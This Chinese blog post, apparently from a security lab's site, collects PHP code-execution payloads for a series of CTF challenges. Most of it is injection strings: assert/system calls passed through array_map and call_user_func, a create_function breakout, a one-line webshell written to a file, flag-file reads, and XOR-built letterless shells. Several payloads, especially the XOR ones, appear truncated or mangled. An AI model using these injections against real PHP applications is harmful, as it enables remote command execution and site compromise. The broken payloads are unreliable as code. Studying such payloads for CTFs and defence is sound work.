您当前的位置: 首页 >  php

合天网安实验室

暂无认证

  • 0浏览

    0关注

    748博文

    0收益

  • 0浏览

    0点赞

    0打赏

    0留言

私信
关注
热门博文

PHP代码执行集锦

合天网安实验室 发布时间:2022-03-21 18:00:00 ,浏览量:0

点击蓝字

fd9f592f57e8ca252775dfbcb077dcb6.png

关注我们

前言

代码审计总要遇到命令执行或者说RCE,打CTF的过程中难免不会碰见,毕竟PHP是世界上最好的语言,总结一下

命令执行函数 E.g.1

传入参数c和d,array_map函数作用将**作为函数,array**作为参数,构造paylaod

?c=assert&d=system(%27ls%27);

E.g.2

create_function 函数会创建一个匿名函数(lambda样式),在第一个echo中显示出名字,并在第二个echo语句中执行了此函数。

$b = create_function('',$a);

这里$a为函数,' '为参数

那么可以看作为

function lambda(){
 echo ' ' ;
}

传入payload

b= ;}phpinfo();/*

在function函数中即

function lambda(){
 echo ' ' ;}phpinfo();/*
}

后面的内容注释掉了,即执行命令

66e2e51a659b1062de4102d526cbf156.png

E.g.3

没什么特别之处,assert直接作为函数执行,payload:

?b=system(%27ls;%27)

E.g.5

call_user_func()函数的特点,知道后面的后面的为参数,前面的a为函数即可

payload:

?b=system&c=whoami

E.g.6

payload:

?b=assert&c=system(%27whoami%27);

E.g.7

传入参数a和b,一个作为函数执行,一个做位参数,构造payload:

?a=assert&b=system(%27ls%27)

E.g.8

一句话木马有没有很熟悉,直接get方式传参给b即可,payload:

?b=system("ls");

E.g.9

基本上属于3的内容加强版,重点就是需要进行闭合,,代码变多了,payload没有出入,重点还是再**$code**的位置

payload:

?a=1;}system(%27ls%27);/*

E.g.10

属于加强版本,**$sort_function的内容进行闭合,也就是sort_by**的参数值要实现闭合,构造payload:

?sort_by=%27"]);}system(%27whoami%27);/*

5d154474777138c6efc96579727d9692.png

E.g.11

虽然加了正则,但是并没有什么卵用,假把式,payload:

?c=system(%27ls%27);

E.g.12

payload

?a=%20>2.php

一句话木马写入2.php

f3d13975e9f0332c89f29786453670df.png

也有其它解法直接进行命令执行。

E.g.13

看到echo以及传入的字符串,方法类似于上面的一道

?c=cat%20flag.php>3.txt

直接访问3.txt即可,或者

?c=cat%203.txt

E.g.16

payload:

?c=cat%20flag.php

E.g.17

payload

?c=cat%20flag.php

E.g.18

payload

?c=cat%20flag.php

E.g.19 无字母shell

绕过正则,传入的参数中不能含有大小写字母以及数字,使用异或的当时绕过正则即可

b5c817066a69f128a57cbddfcf296251.png

no.flag中提示了flag在getflag()方法中,那么自然需要构造payload去调用getflag()方法,需要参数长度小于40且绕过正则,那么可以设想一下

function getflag(){

xxxxxxxxxxxxxxxx

}

@eval($code);

函数的调用就是类似于上面的过程,那么eval在执行的过程中并不能直接执行,参考上面的题那么我传入的的参数的形式为_GET[]且需要调用**getFlag()**方法,因为考虑到需要无字母,所以结合异或,那么payload就是下面的内容:

?code=${"{{{"^"?/"}[""^"?"]();&_=getFlag


或者


?code=$="`{{{"^"?/";${$}_;&_=getFlag

这里

//_GET 的变形无字母shell

$_="`{{{"^"?/";

fd9889ccce64bafacd93335be4ad2081.png

小结

大佬请绕路,如有错误欢迎师傅们指出。

本实验主要介绍了Command-Injection实验,通过本实验的学习,你能够深入理解命令行注入工作原理,建立独立思考问题的能力。

https://www.hetianlab.com/expc.do?ce=c9246cb4-e33e-4528-84d5-b7636ea753c1&pk_campaign=weixin-wemedia#stu

eb6b342290fbb3e6a02560bc6358d5df.gif

戳“阅读原文”体验靶场实操

关注
打赏
1665306545
查看更多评论
立即登录/注册

微信扫码登录

0.0531s